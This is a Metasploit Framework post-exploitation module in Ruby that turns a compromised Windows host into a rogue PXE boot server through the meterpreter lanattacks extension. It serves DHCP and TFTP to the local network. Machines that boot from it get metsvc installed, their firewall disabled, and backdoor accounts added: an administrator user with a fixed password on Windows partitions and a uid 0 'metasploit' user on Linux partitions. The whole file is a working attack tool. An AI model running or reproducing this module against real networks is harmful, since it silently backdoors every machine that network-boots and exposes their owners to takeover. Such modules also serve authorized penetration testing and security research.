##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/auxiliary/report'

class Metasploit3 < Msf::Post

	include Msf::Auxiliary::Report

	def initialize
		super(
			'Name'        => 'Windows Manage PXE Exploit Server',
			'Description'    => %q{
				This module provides a PXE server, running a DHCP and TFTP server.
				The default configuration loads a linux kernel and initrd into memory that
				reads the hard drive; placing a payload to install metsvc, disable the
				firewall, and add a new user metasploit on any Windows partition seen,
				and add a uid 0 user with username and password metasploit to any linux
				partition seen. The windows user will have the password p@SSw0rd!123456
				(in case of complexity requirements) and will be added to the administrators
				group.

				See exploit/windows/misc/pxesploit for a version to deliver a specific payload.

				Note: the displayed IP address of a target is the address this DHCP server
				handed out, not the "normal" IP address the host uses.
			},
			'Author'      => [ 'scriptjunkie' ],
			'License'     => MSF_LICENSE,
			'Platform'      => [ 'win' ],
			'SessionTypes'  => [ 'meterpreter' ]
		)

		register_advanced_options(
			[
				OptString.new('TFTPROOT',   [ false,  'The TFTP root directory to serve files from' ]),
				OptString.new('SRVHOST',   [ false,  'The IP of the DHCP server' ]),
				OptString.new('NETMASK',   [ false,  'The netmask of the local subnet', '255.255.255.0' ]),
				OptBool.new('RESETPXE',   [ true,  'Resets the server to re-exploit already targeted hosts', false ]),
				OptString.new('DHCPIPSTART',   [ false,  'The first IP to give out' ]),
				OptString.new('DHCPIPEND',   [ false,  'The last IP to give out' ])
			], self.class)
	end

	def run
		if not datastore['TFTPROOT']
			datastore['TFTPROOT'] = ::File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
		end
		if not client.lanattacks
			print_status("Loading lanattacks extension...")
			client.core.use("lanattacks")
		else
			if datastore['RESETPXE']
				print_status("Resetting PXE attack...")
				client.lanattacks.reset_dhcp
			end
		end

		#Not setting these options (using autodetect)
		print_status("Loading DHCP options...")
		client.lanattacks.load_dhcp_options(datastore)

		0.upto(4) do |i|
			print_status("Loading file #{i+1} of 5")
			contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
			client.lanattacks.add_tftp_file("update#{i}",contents)
		end
		print_status("Starting TFTP server...")
		client.lanattacks.start_tftp
		print_status("Starting DHCP server...")
		client.lanattacks.start_dhcp
		print_status("PXEsploit attack started")
		while (true) do
			begin
				# get stats every 20s
				select(nil, nil, nil, 20)
				client.lanattacks.dhcp_log.each do |item|
					print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+
							"(#{Rex::Socket.addr_ntoa(item[1])})")
					report_note({
						:type => 'PXE.client',
						:data => item[0].unpack('H2H2H2H2H2H2').join(':')
					})
				end
			rescue ::Interrupt
				print_status("Stopping TFTP server...")
				client.lanattacks.stop_tftp
				print_status("Stopping DHCP server...")
				client.lanattacks.stop_dhcp
				print_status("PXEsploit attack stopped")
				return
			end
		end
	end

end
